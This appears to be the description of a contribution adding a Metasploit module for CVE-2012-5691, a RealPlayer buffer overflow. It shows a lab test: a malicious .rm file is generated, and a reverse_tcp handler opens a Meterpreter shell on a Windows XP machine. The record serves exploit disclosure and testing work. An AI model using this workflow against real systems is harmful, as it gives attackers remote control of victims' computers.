Added module for CVE-2012-5691

[jvazquez-r7]

Initially published by suto via twitter:

https://twitter.com/toanphamvan/status/283388481873539072

Tested on windows xp sp3 / Real Player 15.0.5.109 (http://www.oldversion.com/windows/realplayer-15-0-5-109)

msf  exploit(real_player_rm_bof) > show options

Module options (exploit/windows/fileformat/real_player_rm_bof):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.rm           no        The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.128    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 / Real Player 15.0.5.109


msf  exploit(real_player_rm_bof) > rexploit
[*] Reloading module...

[+] msf.rm stored at /Users/juan/.msf4/local/msf.rm
msf  exploit(real_player_rm_bof) > use exploit/multi/handler 
msf  exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1128) at 2012-12-25 18:01:20 +0100

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed.  Reason: User exit